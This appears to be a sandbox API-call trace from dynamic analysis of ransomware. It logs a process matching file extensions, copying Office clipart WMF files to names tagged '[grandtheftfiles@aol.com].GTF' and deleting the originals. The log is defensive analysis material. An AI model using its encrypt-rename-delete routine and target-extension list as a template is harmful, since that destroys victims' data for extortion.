	[0082.637] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.637] lstrlenW (lpString=".rar") returned 4
	[0082.637] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.637] lstrlenW (lpString=".bz2") returned 4
	[0082.637] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.637] lstrlenW (lpString=".7z") returned 3
	[0082.637] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0082.637] lstrlenW (lpString=".dbf") returned 4
	[0082.637] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0082.637] lstrlenW (lpString=".1cd") returned 4
	[0082.637] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0082.637] lstrlenW (lpString=".jpg") returned 4
	[0082.637] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0082.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0082.638] lstrlenW (lpString=".doc") returned 4
	[0082.638] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.638] lstrlenW (lpString=".docx") returned 5
	[0082.638] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.638] lstrlenW (lpString=".pdf") returned 4
	[0082.638] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.638] lstrlenW (lpString=".xls") returned 4
	[0082.638] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.638] lstrlenW (lpString=".xlsx") returned 5
	[0082.638] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.638] lstrlenW (lpString=".ppt") returned 4
	[0082.638] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0082.638] lstrlenW (lpString=".zip") returned 4
	[0082.638] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.638] lstrlenW (lpString=".rar") returned 4
	[0082.638] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.638] lstrlenW (lpString=".bz2") returned 4
	[0082.638] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.638] lstrlenW (lpString=".7z") returned 3
	[0082.638] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0082.638] lstrlenW (lpString=".dbf") returned 4
	[0082.638] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0082.638] lstrlenW (lpString=".1cd") returned 4
	[0082.638] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0082.638] lstrlenW (lpString=".jpg") returned 4
	[0082.638] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.639] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0082.639] lstrlenW (lpString="BD08773_.WMF") returned 12
	[0082.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0082.639] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=24778) returned 1
	[0082.639] CloseHandle (hObject=0x378) returned 1
	[0082.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf")) returned 0x220
	[0082.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0082.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0082.639] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.639] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0082.640] GetLastError () returned 0x0
	[0082.640] ReadFile (in: hFile=0x378, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x60ca, lpOverlapped=0x0) returned 1
	[0082.642] WriteFile (in: hFile=0x380, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x60d0, lpOverlapped=0x0) returned 1
	[0082.643] ReadFile (in: hFile=0x378, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.643] WriteFile (in: hFile=0x380, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.643] SetEndOfFile (hFile=0x380) returned 1
	[0082.644] CloseHandle (hObject=0x380) returned 1
	[0082.645] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.645] SetEndOfFile (hFile=0x378) returned 1
	[0082.646] CloseHandle (hObject=0x378) returned 1
	[0082.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0082.646] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf")) returned 1
	[0082.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0082.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0082.647] lstrlenW (lpString=".doc") returned 4
	[0082.647] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.647] lstrlenW (lpString=".docx") returned 5
	[0082.647] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.647] lstrlenW (lpString=".pdf") returned 4
	[0082.647] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.647] lstrlenW (lpString=".xls") returned 4
	[0082.647] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.647] lstrlenW (lpString=".xlsx") returned 5
	[0082.647] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.647] lstrlenW (lpString=".ppt") returned 4
	[0082.647] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0082.647] lstrlenW (lpString=".zip") returned 4
	[0082.647] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.647] lstrlenW (lpString=".rar") returned 4
	[0082.647] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.647] lstrlenW (lpString=".bz2") returned 4
	[0082.647] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.647] lstrlenW (lpString=".7z") returned 3
	[0082.647] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0082.647] lstrlenW (lpString=".dbf") returned 4
	[0082.647] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0082.647] lstrlenW (lpString=".1cd") returned 4
	[0082.647] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0082.647] lstrlenW (lpString=".jpg") returned 4
	[0082.647] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0082.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0082.648] lstrlenW (lpString=".doc") returned 4
	[0082.648] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.648] lstrlenW (lpString=".docx") returned 5
	[0082.648] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.648] lstrlenW (lpString=".pdf") returned 4
	[0082.648] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.648] lstrlenW (lpString=".xls") returned 4
	[0082.648] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.648] lstrlenW (lpString=".xlsx") returned 5
	[0082.648] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.648] lstrlenW (lpString=".ppt") returned 4
	[0082.648] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0082.648] lstrlenW (lpString=".zip") returned 4
	[0082.648] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.648] lstrlenW (lpString=".rar") returned 4
	[0082.648] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.648] lstrlenW (lpString=".bz2") returned 4
	[0082.648] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.648] lstrlenW (lpString=".7z") returned 3
	[0082.648] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0082.648] lstrlenW (lpString=".dbf") returned 4
	[0082.648] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0082.648] lstrlenW (lpString=".1cd") returned 4
	[0082.648] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0082.648] lstrlenW (lpString=".jpg") returned 4
	[0082.648] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.649] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0082.649] lstrlenW (lpString="BD08808_.WMF") returned 12
	[0082.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0082.649] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=47996) returned 1
	[0082.649] CloseHandle (hObject=0x378) returned 1
	[0082.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf")) returned 0x220
	[0082.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0082.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0082.649] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.649] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0082.650] GetLastError () returned 0x0
	[0082.650] ReadFile (in: hFile=0x378, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0xbb7c, lpOverlapped=0x0) returned 1
	[0082.930] WriteFile (in: hFile=0x380, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xbb80, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xbb80, lpOverlapped=0x0) returned 1
	[0082.938] ReadFile (in: hFile=0x378, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.938] WriteFile (in: hFile=0x380, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.938] SetEndOfFile (hFile=0x380) returned 1
	[0082.939] CloseHandle (hObject=0x380) returned 1
	[0082.940] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.940] SetEndOfFile (hFile=0x378) returned 1
	[0082.941] CloseHandle (hObject=0x378) returned 1
	[0082.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0082.942] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf")) returned 1
	[0083.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
	[0083.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
	[0083.124] lstrlenW (lpString=".doc") returned 4
	[0083.124] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.124] lstrlenW (lpString=".docx") returned 5
	[0083.124] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.124] lstrlenW (lpString=".pdf") returned 4
	[0083.124] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.124] lstrlenW (lpString=".xls") returned 4
	[0083.124] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.124] lstrlenW (lpString=".xlsx") returned 5
	[0083.124] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.124] lstrlenW (lpString=".ppt") returned 4
	[0083.124] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
	[0083.124] lstrlenW (lpString=".zip") returned 4
	[0083.124] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.124] lstrlenW (lpString=".rar") returned 4
	[0083.124] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.124] lstrlenW (lpString=".bz2") returned 4
	[0083.124] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.124] lstrlenW (lpString=".7z") returned 3
	[0083.124] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
	[0083.124] lstrlenW (lpString=".dbf") returned 4
	[0083.124] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
	[0083.124] lstrlenW (lpString=".1cd") returned 4
	[0083.124] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
	[0083.124] lstrlenW (lpString=".jpg") returned 4
	[0083.124] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
	[0083.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
	[0083.124] lstrlenW (lpString=".doc") returned 4
	[0083.124] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.124] lstrlenW (lpString=".docx") returned 5
	[0083.124] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.125] lstrlenW (lpString=".pdf") returned 4
	[0083.125] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.125] lstrlenW (lpString=".xls") returned 4
	[0083.125] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.125] lstrlenW (lpString=".xlsx") returned 5
	[0083.125] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.125] lstrlenW (lpString=".ppt") returned 4
	[0083.125] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
	[0083.125] lstrlenW (lpString=".zip") returned 4
	[0083.125] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.125] lstrlenW (lpString=".rar") returned 4
	[0083.125] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.125] lstrlenW (lpString=".bz2") returned 4
	[0083.125] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.125] lstrlenW (lpString=".7z") returned 3
	[0083.125] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
	[0083.125] lstrlenW (lpString=".dbf") returned 4
	[0083.125] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
	[0083.125] lstrlenW (lpString=".1cd") returned 4
	[0083.125] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
	[0083.125] lstrlenW (lpString=".jpg") returned 4
	[0083.125] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.125] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.125] lstrlenW (lpString="BD19986_.WMF") returned 12
	[0083.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0083.269] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=14486) returned 1
	[0083.269] CloseHandle (hObject=0x36c) returned 1
	[0083.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf")) returned 0x220
	[0083.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0083.296] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.296] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0083.306] GetLastError () returned 0x0
	[0083.306] ReadFile (in: hFile=0x36c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x3896, lpOverlapped=0x0) returned 1
	[0083.323] WriteFile (in: hFile=0x374, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x38a0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x38a0, lpOverlapped=0x0) returned 1
	[0083.324] ReadFile (in: hFile=0x36c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.324] WriteFile (in: hFile=0x374, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.324] SetEndOfFile (hFile=0x374) returned 1
	[0083.324] CloseHandle (hObject=0x374) returned 1
	[0083.325] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.325] SetEndOfFile (hFile=0x36c) returned 1
	[0083.326] CloseHandle (hObject=0x36c) returned 1
	[0083.326] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.327] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf")) returned 1
	[0083.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0083.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0083.327] lstrlenW (lpString=".doc") returned 4
	[0083.327] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.327] lstrlenW (lpString=".docx") returned 5
	[0083.327] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.327] lstrlenW (lpString=".pdf") returned 4
	[0083.327] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.327] lstrlenW (lpString=".xls") returned 4
	[0083.327] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.327] lstrlenW (lpString=".xlsx") returned 5
	[0083.327] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.327] lstrlenW (lpString=".ppt") returned 4
	[0083.327] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
